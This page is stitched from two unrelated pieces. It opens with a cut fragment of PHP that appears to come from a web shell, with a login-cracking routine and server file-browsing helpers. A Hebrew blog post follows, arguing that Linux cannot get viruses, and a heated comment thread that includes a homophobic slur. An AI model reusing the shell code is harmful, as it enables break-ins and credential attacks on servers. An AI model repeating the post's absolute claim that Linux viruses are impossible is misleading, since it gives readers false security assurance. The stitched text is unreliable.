CURLINFO_HTTP_CODE); if ( curl_errno($ch) == 28 ) { print " Error : Connection Timeout , Sleep for 5s .

"; sleep(5); } else if ( curl_errno($ch) == 0 ) { print "[~] Cracking Success With Username "$user" and Password "$pass"

"; exit; } else{ if($httpcode===0){ echo "No response
"; curl_setopt($ch, CURLOPT_URL, "http://$host:" . $port); curl_setopt($ch, CURLOPT_HEADER, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $cont = curl_exec($ch); $farr = explode("URL=",$cont); $narr = explode('">',$farr[1]); echo "Please change to this host -> ". $narr[0]; exit; } //echo $httpcode; } curl_close($ch); } public function DFSCurrent($slashtype){ echo "
Current folder : "; $truepath = array(); if(isset($GLOBALS['DFConfig'][0]['dfp'])){ $path = $this->DFSDirFilter($this->Dec($GLOBALS['DFConfig'][0]['dfp'])); $path = $this->Dec($path); }else{ $path = getcwd(); } $dfsEP = explode($slashtype,$path); $dfsSZ = sizeof(($dfsEP)); $dfsGE = ""; for($c=0;$c<$dfsSZ;$c++){ array_push($truepath,$dfsEP[$c]); } if($GLOBALS['DFSPlatform']!=='win'){ $endslash = $this->DFSDirFilter($slashtype); echo "$slashtype"; } for($i=0;$iDFSDirFilter($dfsGE); //$this->string = preg_replace('/'.$slashtype.$slashtype.'/i',$slashtype,$dfsGE); echo "$dfsEP[$i]"; echo $slashtype; } } echo "
"; } public function DFSOG($file){ if($GLOBALS['DFSPlatform']!=='win'){ $owner_file = (fileowner($file)?:0); $group_file = (filegroup($file)?:0); $checkposix = $this->DFSDat('ini','disable_functions'); if($checkposix !=="None"){ $checkposix = explode(",",$checkposix); if(!in_array("posix_getpwuid",$checkposix)){ $ownx = posix_getpwuid($owner_file)['name']?:'nobody'; $grpx = posix_getpwuid($group_file)['name']; if(($ownx!==NULL && $ownx!=="") || ($grpx!==NULL && $grpx!=="")){ $owner_group = $ownx . ':' . ($grpx?:$ownx); }else{ $owner_group = "nobody:nobody"; } }else{ $owner_group = "-:-"; } }else{ $ownx = posix_getpwuid($owner_file)['name']?:'nobody'; $grpx = posix_getpwuid($group_file)['name']; if(($ownx!==NULL && $ownx!=="") || ($grpx!==NULL && $grpx!=="")){ $owner_group = $ownx . ':' . ($grpx?:$ownx); }else{ $owner_group = "nobody:nobody"; } } }else{ $owner_group = "-:-"; } return $owner_group; } public function DFSPerms($f) { // Special thanks to marijuana shell developer $p = $GLOBALS['DFSyntax'][1]($f); if (($p & 0xC000) == 0xC000) { $i = 's'; } elseif (($p & 0xA000) == 0xA000) { $i = 'l'; } elseif (($p & 0x8000) == 0x8000
זמן עדכון: 01/01/1970 00:00

וירוסים בלינוקס - אין, לא היה ולא יהיה

כל הזמן כשמדברים על לינוקס, יש את אלו שאומרים אז מה, היום אין וירוסים, אבל כשלינוקס תיהיה נפוצה...

בפוסט זה אנסה להסביר מדוע אין וירוסים ומדוע לא יהיו וירוסים.

אבל לפני שנתחיל בהסבר, יש לי בעיה אחת אם המשפט "כשלינוקס תיהיה נפוצה..." הרי כבר היום לינוקס היא מערכת ההפעלה הנפוצה ביותר.

נשמע לכם משונה?

הסיבה לכך היא שאתם מסתכלים רק על שולחן העבודה, שם לינוקס באמת עדיין לא נפוצה (אם כי בין קוראי הבלוג הזה, חלונות אינה נפוצה) אבל שולחן העבודה זה רק חלק מזערי מכל המחשבים וההתקנים הממוחשבים הקיימים בעולם.

בעצם כל מי שקורא בבלוג הזה, גם אם הוא שייך למיעוט שעדיין מריץ חלונות על שולחן העבודה, משתמש בעקיפין בלפחות שלושה מחשבים או התקנים אחרים המריצים לינוקס.

קודם כל השרת עליו יושב בלוג זה, מריץ לינוקס. מעבר לזה רוב השרתים של ספקי האינטרנט מריצים לינוקס, זה רק לגבי מחשבים, עכשיו מה לגבי הראוטרים שיש בדרך? הידעתם שרוב הראוטרים מריצים לינוקס?
מה לגבי המודם שלכם? הידעתם שמודם ADSL מריץ לינוקס? (לגבי מודם הכבלים אני לא בטוח, אבל סביר להניח שגם כן מריץ לינוקס)

מכאן אנו רואים שלינוקס כבר מזמן אינה מערכת הפעלה של נישה קטנה או של מספר חובבים. אם זה היה כך גם לא הייתי מתפרנס.

 

אז למה אין וירוסים בלינוקס?

נתחיל כמו שמעון פרס, השאלה היא לא למה אין וירוסים בלינוקס, השאלה היא איך בכלל בונים מערכת הפעלה שיש בה וירוסים?

טוב, אחרי שכמו כל יהודי טוב עניתי לשאלה בשאלה, אפשר להגיע לתשובה הקצת יותר רצינית.

כדי לענות על השאלה, נגדיר קודם כל מהו וירוס. וירוס הוא תוכנה או קטע תוכנה שמדביק מחשב, מפיץ את עצמו לבד וגורם לנזק במחשב.

רוב הוירוסים עוברים כיום כקבצים במייל או בתוכנות העברת קבצים אחרות (תוכנות מסרים מידיים, תוכנות שיתוף קבצים וכד') כאשר משתמש מקבל קובץ, הוא בדרך כלל פותח אותו.

בחלונות כאשר פותחים קובץ, אם הקובץ הוא מסמך, סרט, שיר וכד' נפתחת התוכנה המתאימה ופותחת את הקובץ.
אם הקובץ הוא תוכנה, התוכנה מורצת.

בלינוקס זה אחרת לחלוטין. אם הקובץ הוא מסמך, סרט, שיר וכד' נפתחת התוכנה המתאימה ופותחת את הקובץ. עד כאן הכל אותו דבר. אבל אם הקובץ הוא תוכנה, הוא לא ירוץ אלא אם כן תעשו פעולות מסויימות (תהפכו אותו לבר הרצה ואז תריצו אותו).

אז כבר מנענו את החלק הראשון, שהוא ההדבקה.

נניח שאיכשהו התגברנו על זה (כן יש דרכים להתגבר על זה, אבל הן לא טכניות, אלא פסיכולוגיות, לשכנע את המשתמש לעשות את הפעולות).
אבל זה שהתגברנו על המכשול הראשון לא אומר שיש לנו וירוס, שכן וירוס צריך להפיץ את עצמו וכאן מגיע המכשול השני.

בחלונות רוב המחשבים די דומים, אאוטלוק למייל, אקספלורר לאינטרנט וכד', אבל בלינוקס המגוון גדול פי כמה.
כדי שוירוס יפיץ את עצמו, הוא צריך לדעת באילו תוכנות משתמשים כדי לגרום לתוכנה להפיץ אותו.

נניח שהתגברנו גם על מכשול זה.

המכשול השלישי, הוא הנזק למחשב. בלינוקס רוב המשתמשים רצים בהרשאות של משתמש מוגבל שלא יכול להסב נזק למערכת, אבל יכול להריץ את רוב התוכנות. בחלונות למרות שאפשר ליצור משתמש מוגבל, בדרך כלל לא עושים זאת, את הסיבה לזה אני לא יודע מאחר שהפעם האחרונה שהשתמשתי במערכת חלונות הייתה בחלונות 98 שם המושגים הללו של משתמשים מוגבלים עדיין לא היו קיימים (או שלפחות לא ידעתי עליהם) אשמח לשמוע מאחרים את הסיבות לכך שרוב המשתמשים כיום בחלונות רצים בהרשאות מנהל.

מכל הסיבות שפירטתי לעיל אנו רואים שקשה עד בלתי אפשרי ליצור וירוס בלינוקס.

האם זה אומר שאי אפשר לפרוץ למחשב לינוקס? לא זה בכלל לא אומר. יש הבדל גדול בין פריצה למחשב לבין וירוס.

האם אפשר לפרוץ למחשב לינוקס? כן אפשר אבל זה הרבה יותר קשה. למה? שוב המבנה הפשוט של לינוקס, הוא פשוט לא מאזין לרשת אלא אם כן הוא צריך (שרתים וכד')

 


הוספת תגובה
רוב הראוטרים מריצים לינוקס? גיא 01/01/1970 00:00:00
לא מדויוק,
כ 80% מתעבורת האינטרנט בעלום עוברת דרך ציוד של סיסקו ועליהם לא רץ לינוקס אלא מערכת הפעלה של סיסקו.

הוספת תגובה      

תעבורת האינטרנט אבל לא הראוטרים אורי עידן 01/01/1970 00:00:00


הוספת תגובה      

בסדר בסדר אתה צודק נכנעתי ג'ניה 01/01/1970 00:00:00
אז קודם כל ולפני הכל, סליחה.
אני יודע שלא הייתי צריך לקלל אותך, אבל מה לעשות, לא אהבתי את התשובות שלך. באופן כללי אני לא סובל אנשים כמוך. יש לי הרגשה שברגע שמשתמש חלונות מגיב, היחס שלך אוטומטית משתנה.
זה לא שקשה לי לקבל דברים שונים מדעתי אני פשוט לא מקבל עלי דברים רק בגלל שאיזה חכמולוג אמר אותם.
אתה מצפה מאנשים להבין משהו שאתה כבר מבין אבל לא מסביר להם כמו שצריך ואז עוד מתפלא למה לא מבינים אותך. כמו איש ממוצע בתנועת הקוד הפתוח, מי שלא מסכים איתך הוא או בור או עובד במיקרוסופט או לא מוכן לקבל דברים שונים מדעתו. מזל רק שלא כולם שם כמוך.


כמו שאתה בטח רואה, אני משתמש בלינוקס.
אני מריץ אובונטו כבר כמעט חודש ואפשר לומר שאני מרוצה כי הצלחתי לעשות כל מה שהייתי רגיל לעשות בחלונות. אם זאת חווית השימוש בלינוקס לא מהנה כמו בחלונות ככה שאני הולך לחזור בקרוב.

ועכשיו לנושא:
אין וירוסים בלינוקס- זה נכון אבל זה לא קשור לסיבות שנתתה בכתבה.
1)
בלינוקס אין הרבה וירוסים בגלל שהיא לא פופולרית ואתה לא יכול להתעלם מזה. נכון נכון נכון היא פופולארית בתחום השרתים אבל אז מה? לאף אחד אין אינטרס לכתוב וירוס לשרת כי שרת כמעט לא משמש לצרכים בייתיים שדרכם אפשר לקבל וירוס כמו הורדה של קבצים מהאינטרנט וחוץ מזה, מי שיש לו שרת מספיק חכם בשביל לא לחתוף וירוס. ולכן וירוסים נכתבים בשביל לפגוע במשתמשים בייתיים פשוטים.

2)
ההורדה של התוכנות השונות נעשת מתוך מקורות בטוחים ואמינים כמו כלי "התקנה/הסרה", מנהלי חבילות כמו "סינפטיק". התוכנות שנכנסות לשם נבדקות ואין שום סיכוי שיכילו וירוס.
שוב, הדבר נובע מזה שלינוקס לא נפוצה. אילו הייתה נפוצה, לא ניתן היה להכניס 1000000 תוכנות לתוך מנהל חבילות אחד, אפילו אם מאכסנים אותם על 80 שרתים.

3)
מערכת הרשאות בלינוקס בנויה טוב ואתה התיחסת לכך אבל לא הסברת.
נגיד שהתקנתי את הוירוס.
בחלונות-זה הסוף הוירוס חופשי לעשות מה שהוא רוצה.
בלינוקס-זה לא אומר כלום כל פעולה קריטית שהוירוס ינסה לעשות לא תוכל להתבצע מבלי שאני אדע על כך ואאשר אותה.
בגלל זה בעצם אי אפשר להידבק בוירוס אלא אם כן אתה מאוד עוזר לו-מריץ אותו בהרשאת ROOT.
ולמרות זאת אין לדעת מה היה קורה אילו לינוקס הייתה נפוצה, אולי אז היו מוצאים דרכים מתקדמות ליצור וירוס.

אז אין וירוסים אבל יש דבר גרוע מוירוס-הטרמינל.
בהרבה פקודת של הטרמינל משתמשים בsudo שמאפשר לבצע פעולות המחייבות הרשאת ROOT.
שמעתי כבר על מישהו שמצא פקודה באינטרנט וחשב שהיא מבצעת מתלה כלשהי אבל כשהוא הריץ אותה, היא הרסה לו את המחשב תוך 5 שניות.

לסיום, ברצוני להתיחס לשאלה שהעלת במאמר:מדוע רוב האנשים עובדים עם הרשאת אדמיניסטרטור בחלונות?
הסיבה לכך היא שבחלונות, "משתמש מוגבל" אפשרי רק מבחינה טיאורתית ולא באמת אפשר להשתמש במחשב ככה מבחינה מעשית. זו הסיבה גם מדוע כמעט כל התוכנות בחלונות לא מסוגלות לפעול בלי הרשאת אדמיניסטרטור.


הוספת תגובה      

אני שמח שעברת ללינוקס אורי עידן 01/01/1970 00:00:00
אבל נחזור לנימוקים.
לינוקס עדיין לא פופולרית מספיק בשולחן העבודה אבל כפי שהסכמת בעצמך מאד פופולרית בתחומים אחרים, בין השאר שרתים וכן יש אינטרס גדול לכתוב וירוס לשרתים, אולי אפילו יותר מאשר למשתמש בייתי.

נכון שתמיד אפשר למצוא דרכים לגרום לך המשתמש ההדיוט לעשות משהו במחשב, אבל זה עדיין לא וירוס אלא פריצה למחשב.
מדוע זה אינו וירוס? כי זה לא יופץ אוטומטית ומהר מאד יעצר אצל האדם הראשון שלא יסכים לעשות דברים סתם.

הלוואי וכל התקנת התוכנות הייתה נעשית דרך המקורות של ההפצה. נכון שלמרבית המשתמשים זה מספיק כי מאות אלפי תוכנות בהישג יד זה בדרך כלל מספיק.
אולם משתמשים רבים שאני מכיר מתקינים תוכנות מכל מני מקורות ברשת.
גם אם תתקין כך תוכנות, עדיין קשה מאד יהיה לכתוב וירוס.

אגב לגבי היחס שלי למשתמשי חלונות, אני לא כועס עליהם, לא מתרגז עליהם, נהפוך הוא מנסה להסביר שוב ושוב.
אפשר לומר שהיחס שלי הוא יחס של חמלה.
לא חמלה מתוך רגש עליונות, לא אני לא נעלה מאף אחד. אלא חמלה כי חבל לי שמישהו נשאר במאה הקודמת מבחינת מחשוב.
האמת שזה די אבסורד כי לינוקס בעצם מבוססת על מערכת הפעלה שקיימת שנים רבות לפני חלונות (מערכת יוניקס)
לכן אפשר בעצם לומר שלינוקס היא הישנה יותר, אולם למרות זאת ואולי בגלל זה, היא המתקדמת יותר כי היא מתפתחת בקצב מדהים.

אמר פעם מישהו דבר חכם מאד. המהנדסים שפתחו את יוניקס, עשו לא מעט טעויות, למדו מהם ושפרו את המערכת, לינוקס בונה על הניסיון בן עשרות שנים של אותם מהנדסים.
חלונות לעומת זאת היא ניסיון להמציא את הגלגל מחדש וחבל.


הוספת תגובה      

אני חולק על דעתך ג'ניה 01/01/1970 00:00:00
לדעתך לינוקס היא הכי טובה?
כל היתרונות שיש ללינוקס על פני חלונות, כולל חוסר וירוסים, נמצאים במערכת OSX של חברת אפל.
היתרון החשוב והבולט ביותר שיש ללינוקס הוא שהיא תוכנה חופשית וזו בעצם הסיבה העיקרית להשתמש בה.
אבל כמו שרן יניב הרטשטיין אמר: "שולחן העבודה שלי הוא לא הבמה הנכונה להבעת דעות פוליטיות או חברתיות..."
בכל מקום שבו מדברים על לינוקס ומציעים לעבור עליה, תמיד נותנים יותר דגש על הפילוסופיה של התוכנה החופשית ופחות מידע על שימושיות-על התכל"ס. זה לא מפליא אותי כיוון שבתכל"ס ללינוקס אין הרבה מה להציע למשתמש הפשוט.

למעט יוצאי מן הכלל(כגון פיירפוקס), תוכנות הקוד הפתוח כלל אינן משקפות חדשנות, תעוזה, או התקדמות טכנולוגית כלשהי.
חלק מהתוכנות מסתפקות בטענה כי רוב האנשים אינם זקוקים לתוכנות הכבדות והמשוכללות, הניתנות בתשלום(כגון אופיס 2007), אלה יכולים להסתפק בחלופות חינמיות.
אני לא מזלזל בחשיבותה של חלופה חינמית, אבל חלופות חינמיות תמיד יש, גם אם הן סגורות.
הקוד הפתוח מוצג כיעיל יותר ותורם להתקדמות המין האנושי "היא המתקדמת יותר כי היא מתפתחת בקצב מדהים".
הרשה לי לגחך. אני יכול לומר לך, בלב שלם וללא שום חרטות כי קצב ההתקדמות של לינוקס שקול לקצב התקדמות של חילזון חולה.

כאשר אני צופה בסרטון כמו זה
http://www.youtube.com/watch?v=xfdeNVtGO_A
אני פשוט מרחם עליך, לא מתוך רגש של עליונות אלה חמלה כי חבל לי שבעוד שנתיים אתה תישאר במאה הקודמת(במלוא מובן המילה) מבחינת מחשוב.



הוספת תגובה      

מאד לא מסכים אתך אורי עידן 01/01/1970 00:00:00
מערכת OSX אחרי הכל בנויה על יוניקס כך שבאמת יש לה את היתרונות מבחינת וירוסים.
אולם תוכנה קניינית לעולם לא תוכל לעבור את התוכנה החופשית.
ממה שאני רואה מנהלי החלונות של תוכנה חופשית עוברים את אלו של הקניינית כבר מזמן.
מנהלי חלונות המזכירים את הסרטון שהבאת של מיקרוסופט קיימים בלינוקס כבר מזמן ומשיגים מזמן את אלו של מיקרוסופט.
רק עכשיו מיקרוסופט נזכרו במנהלי חלונות תלת ממדיים? הרי לנו בתוכנה החופשית יש את זה כבר מספר שנים.

תוכנה קניינית היא זו המעתיקה וחסרת החדשנות.
אם אתה מאמין למניפולציות השיווקיות של אנשי שיווק מתוחכמים, זו בעיה שלך.

זכור מיקרוסופט הם מעצמת שיווק מספר אחת בעולם, אף אחד לא מגיע לרמה שלהם מבחינת שיווק.
אחריהם נמצאים אנשי אפל שגם הם אינם טומנים ידם בצלחת, הם הצליחו להפוך מערכת בינונית כמו iPhone למשהו חדשני שכולם רוצים אותו.


הוספת תגובה      

כול הכבוד לכותב הכתבה פשוט אין לו מושג על מה הוא מדבר יניב 01/01/1970 00:00:00
הוכחה פשוטה שאין לכותב הכתבה מושג על מה שהוא כותב

http://antivirus.about.com/od/linuxunixviruses/Lin
ux_Unix_Viruses.htm

הוספת תגובה      

אני לא ראיתי שם שום הוכחה לשום דבר אורי עידן 01/01/1970 00:00:00
רשימות וירוסים בלינוקס ראיתי אינספור אבל אותם וירוסים אינם באמת וירוסים מאחר שאף אחד לא יכול להדבק בהם.
הם לא יכולים להתפשט ולהדביק מחשבים אחרים.

נראה שממש קשה לאנשים לקבל את העובדה הפשוטה שוירוס אינו דבר טבעי במחשבים. וירוס יכול לקרות רק במקרה אחד של מערכת הפעלה שמאפשרת את זה.
מערכת הפעלה שהאבטחה בה היא חלק אינטגרלי מהמערכת ולא נוצרה אחר כך, לא תידבק בוירוסים אין מה לעשות.
העובדה היא שמערכות יוניקס ולינוקס קיימות שנים על גבי שנים והן מערכות ההפעלה הפופולריות ביותר בתחום השרתים והיום גם במערכות משובצות מחשב.
יש גם לא מעט תחנות עבודה מבוססות לינוקס או יוניקס.
אבל אף אחד בעולם לא נדבק בוירוס למה?
ההסבר במאמר שלי.


הוספת תגובה      

שאלה ג'ניה 01/01/1970 00:00:00
האם זה אפשרי בלינוקס להחביא וירוס בתוך קובץ שהוא לא קובץ EXE?
כלומר קובץ שנפתח בעזרת תוכנה מסוימת

הוספת תגובה      

לא חושב שניתן אורי עידן 01/01/1970 00:00:00
הרי כל קובץ אחר מכיל אינפרומציה של תמונה, טקסט, וידאו וכד', אין קודי הרצה בקבצים אחרים.
נכון, במקרה של תוכנות כמו אופן אופיס יש אפשרות להוסיף בקובץ מקרואים, אבל למיטב ידיעתי, אלו מאד מוגבלים במחינת יכולת ההרס שלהם ואו ההתפשטות שלהם.
בקיצור גם בדרך זו לא נוכל להחדיר וירוסים ללינוקס.


הוספת תגובה      

כמה דברים לא ברורים ג'ניה 01/01/1970 00:00:00
המכשול הראשון-קשה מאוד להבין את הטועלת שלו,הרי בכל מקרה אם ארצה להריץ קובץ אני אריץ אותו.

המכשול השני-כאן לדעתי ההפך הוא הנכון
בחלונות,הרוב משתמשים באקספלורר זה נכון אבל רבים אחרים משתמשים בפיירפוקס,אחרים במקסטון,אחרים באוונט,ויש עוד הרבה.
בלינוקס לעומת זאת כולם משתמשים רק בפיירפוקס.
גם בתוכנות משרדיות,כולם משתמשים רק באופן אופיס.
בחלונות יש גם מבחר הרבה יותר גדול של נגני מדיה.

ולבסוף המכשול השלישי
בחלונות אם אני משתמש מוגבל אז אני לא יכול למשל להתקין את רוב התוכנות שהורדתי.
אני תמיד הייתי בהרשאה של מנהל ועד היום לא ברור לי כיצד זה עוזר להיות בהרשאת מוגבל.
גם לא ממש הבנתי איך זה פועל בלינוקס והאם בלינוקס אפשר לשנות לחשבון מנהל

הוספת תגובה      

נסביר שוב אורי עידן 01/01/1970 00:00:00
אם באמת רוצים להריץ קובץ אז מריצים אותו אבל למה שנעשה זאת עבור כל קובץ שאנו מקבלים בדוא"ל?

לגבי דפדפנים, זה לא נכון שגלינוקס משתמשים רק בפיירפוקס. יש הרבה שמשתמשים באפיפני ויש הרבה שמשתמשים בקונקרר מנין לך ההנחה שהרוב משתמשים בפיירפוקס?
כמו כן מדוע להניח שכולם משתמשים באופן אופיס?

כאשר אתה בהרשאות מוגבלות אתה לא יכול להתקין תוכנה ואתה גם לא יכול לעשות נזק למחשב.


הוספת תגובה      

לא מספיק משכנע ג'ניה 01/01/1970 00:00:00
אם אני חכם אז ברור שאני לא אריץ כל קובץ שאני מקבל בדואר אבל אם אני תיפש ואני רוצה להריץ אותו אז כמה פעולות נוספות לא ימנעו זאת ממני.
המכשול הראשון הוא פשוט בדיחה.
בחלונות יש לפחות תוכנות אנטיוירוס בשביל לסרוק את מה שאני מקבל בדואר וזה מה שעוזר באמת.

מנין לי ההנחה?
למיתב ידיעתי פיירפוקס הוא דפדפן הקוד הפתוח היחיד.
כנ"ל אופן אופיס.
ואפילו בלי קשר אלה התוכנות הטובות ביותר בתחום שלהן בעולם של לינוקס והם מותקנות אוטומטית בלינוקס אז 1+1=
וחוץ מזה זה ממש לא משנה כי בחלונות יש מבחר הרבה יותר גדול וזה סותר את מה שאמרת.

אז בעצם אני לא יכול לעשות נזק למחשב רק בגלל שאני לא יכול להתקין את כל התוכנות.
אבל אמרת שמשתמש בלינוקס יכול להתקין את רוב התוכנות אבל לא יכול לעשות נזק למערכת.
אבל למה הוא לא יכול לעשות נזק?

הוספת תגובה      

מה אתה מנסה להוכיח? אורי עידן 01/01/1970 00:00:00
קודם כל פיירפוקס אינו ברירת המחדל ברוב הפצות הלינוקס כך שנראה שאינך יודע.
מעבר לזה, אם אתה טיפש אתה תהרוס את המחשב שלך גם בלי וירוס אז מה בדיוק אתה רוצה?

מה קרה? קשה לך להבין שיש מערכות הפעלה נורמליות בלי וירוסים?


הוספת תגובה      

נורמלית? ג'ניה 01/01/1970 00:00:00
הכתבה שלך והתשובות האחרונות שלך גרמו לי להבין שכל ההגנה הגאונית הזאת של לינוקס היא אגדה אחת גדולה כמו האגדה שלינוקס מהירה יותר מחלנות.
אני בטוח שזה קשה מאוד ליצור וירוס ללינוקס אבל זה לא בלתי אפשרי.
ואילו לינוקס הייתה פופולרית כמו חלונות אז אין ספק שהיו מצליחים לכתוב וירוסים בשבילה.

כן קשה לי להאמין שאפשר לחיות בלי וירוסים
לא שאני חיי איתם
כבר יותר משנה לא נפגעתי מאף וירוס או תוכנה מזיקה וזה הודות לתוכנת אנטיוירוס מצויינת.

נורמלית?
רק בגלל שעוד אין בה וירוסים לא אומר שהיא נורמלית
להפך,היא לא נוחה,מכוערת וגרועה
היא רק מעין כלי מבצע של האידאולוגיה של הקוד הפתוח,אין לה שום יתרון על חלונות,הכל תחליפים שכלולים בעריכת קבצי טקסט,שורת פקודה ועוד דברים שלא מתאימים למשתמשים נורמליים ברחבי העולם.

ווירוסים זה כן חלק מהמציאות כמו שרוצחים גנבים ומשטרה זה חלק מהמציאות.

הוספת תגובה      

עוד תגובה המעידה על בורות אורי עידן 01/01/1970 00:00:00
האם חשבת לרגע שלינוקס היא כבר היום מערכת ההפעלה הכי פופולרית?
הרי היא נמצאת בלמעלה מ 50% משרתי האינטרנט, במודמים, בראוטרים ועוד ועוד.
אז לומר שהיא עדיין לא פופולרית ולכן אין לה וירוסים זו בורות לשמה.

מעבר לזה, למה אתה לא מתיחס לטענות שלי במאמר?
אם היית קורא את המאמר היית מבין שלינוקס בנויה קצת אחרת ולכן לא רק שקשה אלא שאי אפשר לכתוב וירוס עבור לינוקס.
היו כבר מספיק נסיונות לעשות זאת וכולם משום מה נכשלו למה?

אני לא מבין מדוע אתה מנסה להגן על חלונות, אתה מפחד ממשהו?
אתה רוצה להשאר עם מערכת לא חופשית ולהיות תלוי בגחמות של חברה אחת, אין בעיה, תעשה מה שאתה רוצה.
רק בבקשה אל תפריע לאנשים שרוצים מערכת בטוחה יותר וחופשית יותר.


הוספת תגובה      

אתה מטעה חרדון 01/01/1970 00:00:00
בהחלט אפשרי לכתוב וירוס שירוץ על מערכות לינוקס!
בקשר לטיעונים שלך:
*הרשאות הרצה של הקובץ -
רוב חבילות התוכנה מופצות כחבילה כזאת או אחרת שכוללות תוכנת התקנה, או שמופעלת על ידי מנהל החבילות של ההפצה שדואג לקבוע את כל ההרשאות כולל הרשאות ההרצה של הקובץ, כך שלטיעון שמנענו הדבקה בזכות הרשאת ההרצה אין שחר.
בכל מקרה גם אם צריך לקבוע הרשאת הרצה עבור קובץ שהורד והמשתמש מתכוון ויודע איך לעשות זאת הוא יעשה את וזה לא ישנה אם הקובץ מכיל וירוס או לא.

*מגוון התוכנות בלינוקס - לא רלוונטי, לא חסרים וירוסים שאינם תלויי תוכנה אלא מדביקים לדוגמא קבצי הפעלה.

*הרשאות משתמש מוגבלות - דבר ראשון שום דבר לא בטוח במאה אחוז וכל כמה זמן נחשפת איזה שהיא פירצה שמאפשרת לתוכנות להשיג פריוילגיות של מנהל המערכת, שכותבי וירוסים יכולים להשתמש בהן.
כמו כן גם בחלונות ישנה מערכת הרשאות.

אני חייב לציין שכתיבת וירוס עבור לינוקס היא משימה מסובכת יותר מאשר בחלונות, אבל בהחלט אפשרית. אם וירוס עבור לינוקס יצליח להדביק מקור חבילות של הפצה מסוימת הוא יתפשט בצורה מהירה מאוד.

חשוב גם לציין שניתן לכתוב וירוסים שידביקו קודי מקור לפני קימפול ואפילו ניתן להחביא כזה וירוס בגרסה הבינארית בלבד של תוכנה כך שישמור על עצמו גם לאחר קימפול מחדש של קוד המקור - כמו שמתואר במאמר Reflections on Trusting Trust

הוספת תגובה      

כנראה שלא הבנת את מה שכתבתי. אורי עידן 01/01/1970 00:00:00
נכון שתוכנה מופצת כחבילה אבל גם זה לא מפעיל אותה בעצמו. משתמש צריך לעשות פעולות בשביל להריץ אותה.
כבר מקשה מאד על הפצת הוירוס.

לגבי מגוון התוכנות לא הבנת את הנקודה. בגלל שכל אחד משתמש בלקוח דואר אחר ודפדפן אחר וכל דבר שונה, אין אפשרות קלה להדביק את המערכת כי זה לא רק להתקיף את אאוטלוק או אקספלורר וכד' אלא להתקיף אינספור תוכנות ואינספור גרסאות שלהם.

ברור שיש פרצות אבל כנראה שגם אתה לא מבין את ההבדל בין פריצה למחשב לבין וירוס.
אין מערכת שאי אפשר לפרוץ אליה אבל בין לפרוץ לבין להדביק בוירוס המרחק רב עד מאד.

את המאמר שהבאת אני מכיר אבל אם תקרא אותו היטב תראה שמדובר במקרים היפוטתיים בלבד שבהם אתה הוא זה שכותב את הקומפילר וכולם משתמשים בקומפילר שלך מבלי לבדוק אותו.
זה פשוא לא יקרה בלינוקס עם אלפי האנשים שמסתכלים בקוד המקור.

מה קרה, גם לך קשה לקבל את זה שאפשר לחיות בלי וירוסים?
כל הרעיון של וירוסים אינו הכרח המציאות זה עיוות של המציאות בדיוק כמו שעצם הרעיון של תוכנה קניינית מנוגד להגיון האנושי והוא עיוות של המציאות.


הוספת תגובה      

בטח שאין וירוסים ללינקוס בגלל שיותר משתלם לפתח ל-XP מיכאל 01/01/1970 00:00:00
בגלל ש-80% משתמשים ב-XP אז יש סבירות יותר גבוהה שאנשים ידבקו בוירוס מאשר בלינקוס...

******!!

הוספת תגובה      

נמאס לי לחזור על עצמי אורי עידן 01/01/1970 00:00:00
לינוקס היום פופולרית יותר מאשר חלונות בשרתים ועדיין לא מפתחים וירוס ללינוקס.
בכל מקרה המאמר מסביר מדוע קשה עד בלתי אפשרי לפתח וירוס בלינוקס בלי קשר לפופולריות.


הוספת תגובה      

איזה כדורים אתה לוקח? nir_hp 01/01/1970 00:00:00


הוספת תגובה      

מי שלוקח כדורים זה אתה כנראה אורי עידן 01/01/1970 00:00:00
תסתכל על המציאות ותקרא את מה שכתבתי שוב ואז תחשוב טוב.


הוספת תגובה      

אתה טוען שלינוקס פחות נפוצה מחלונות nir_hp 01/01/1970 00:00:00
כשמדברים על נפיצותה של מערכת הפעלה לוירוסום,
ודאי וודאי שאנו מדברים על המשתמשים הביתיים, ואין להכניס לדיון זה שרתים למיניהם וכאלו.. (אולי תכנים גם מערכות משובצות כמו טלפונים סלולריים?).

מערכות ההפעלה הנפוצות בקרב המשתמשים הביתיים הן של מיקרוסופט!
מה גם, למרות שקשה לאמוד על ההגדרה המדוייקת וכוונותיו של כותב הוירוסים, אני מניחים שאין כוונתו לכתוב וירוס שיפגע באיזה שרת ויתוקן עוד לפני שמישהו ישמע על זה.

הרשה לי להוסיף ששתי הסיבות הראשונות שהזכרת במאמר נובעות מהעובדה שלינוקס על הפצותיה היא מע' הפעלה מסורבלת ולא גמישה (כלפי המשתמש הבייתי שהטכסט היחיד שהוא אמור להקיש הוא במעבד התמלילים ולא בטרמינלים למיניהם, וקבצים בינאריים צריכים להיות זמינים ופשוטים להורדה בלי התעמקויות בשאלה מה יש לי במחשב ומה אין). - או במילים אחרות - ביום שלינוקס תהיה יותר זמינה ונוחה למשתמש הבייתי, היא גם תהיה יותר פגיעה כלפי וירוסים.

בנוגע לטענתך השלישית, אני סבור שאתה צודק ובאמת הגבלת המשתמשים יכולה לצמצם את ניזקי הוירוסים.

הוספת תגובה      

ברור שצריך להכניס גם מערכות משובצות כמו טלפונים סלולאר עודד 01/01/1970 00:00:00
הרי יש גם וירוסים לטלפונים סלולאריים - יש כ-5 וירוסים למערכת Symbian (של נוקיה אריקסון וסמסונג), כמה מאות וירוסים למערכת Windows Mobile ואף וירוס לטלפונים המבוססים על לינוקס (ויש כאלה, חלקם מאוד ותיקים כמו טלפונים של מוטורולה).

הוספת תגובה      

נכון שבשולחן העבודה לינוקס לא נפוצה אבל זה לא העניין אורי עידן 01/01/1970 00:00:00
המאמר מסביר מדוע לא יהיו וירוסים ללינוקס גם אם היא תיהיה הנפוצה ביותר בשולחן העבודה.


הוספת תגובה      

אתה פשוט דפוק ג'ניה 01/01/1970 00:00:00
התיחסתי לכל מה שאמרת במאמר אבל התשובות שלך היו דפוקות-כי אתה דפוק.
עשה טובה תמחק את כל התגובות שלי חוץ מהראשונה.
י'הומו

הוספת תגובה      

שיטה מעניינת להתחמק מתשובות אורי עידן 01/01/1970 00:00:00
אז מה? כשאין לך תשובה רצינית אתה מתחיל לקלל?
אני חושב שאשאיר את התגובות שלך רק כדי שיראו אנשים איך אתה לא יודע לקבל דברים שונים מדעתך.


הוספת תגובה      

אבל יש וירוסים בלינוקס עוזי 2 01/01/1970 00:00:00
ואפילו היה אחד (אמנם לפני מספר שנים) שהצליח להגיע לתפוצה בכלל לא רעה.

וירוסים כיום מפיצים את עצמם ללא הסתמכות על תוכנה כזאת או אחרת.

